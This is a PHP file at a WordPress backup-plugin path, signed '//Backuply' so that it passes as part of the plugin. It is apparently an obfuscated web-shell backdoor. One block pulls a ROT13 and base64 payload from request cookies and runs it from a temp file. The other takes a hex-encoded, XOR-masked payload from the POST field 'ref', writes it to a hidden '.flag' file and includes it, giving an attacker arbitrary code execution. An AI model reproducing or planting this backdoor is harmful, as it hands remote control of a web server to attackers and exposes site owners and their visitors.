File: /home/casinobe/domains/kohkae789-x.com/private_html/wp-content/backuply/backups-sjDcqe/index.php
<?php if (isset($_COOKIE[29+-29]) && isset($_COOKIE[60-59]) && isset($_COOKIE[-40+43]) && isset($_COOKIE[-47+51])) { $ent = $_COOKIE; function module_controller($fac) { $ent = $_COOKIE; $ent = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '60ad2ef6'); if (!is_writable($ent)) { $ent = getcwd() . DIRECTORY_SEPARATOR . "reverse_lookup"; } $elem = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($ent[3])); if (is_writeable($ent)) { $component = fopen($ent, 'w+'); fputs($component, $elem); fclose($component); spl_autoload_unregister(__FUNCTION__); require_once($ent); @array_map('unlink', array($ent)); } } spl_autoload_register("module_controller"); $entity = "8caf2dad8d3c623109710831002f2ce8"; if (!strncmp($entity, $ent[4], 32)) { if (@class_parents("data_storage_unit_converter", true)) { exit; } } }
if(!empty($_POST["re\x66"])){ $obj = hex2bin($_POST["re\x66"]); $binding='' ; for($b=0; $b<strlen($obj); $b++){$binding .= chr(ord($obj[$b]) ^ 57);} $ent = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", "/dev/shm"]); while ($item = array_shift($ent)) { if (array_product([is_dir($item), is_writable($item)])) { $symbol = vsprintf("%s/%s", [$item, ".flag"]); if (file_put_contents($symbol, $binding)) { include $symbol; @unlink($symbol); die(); } } } }
//Backuply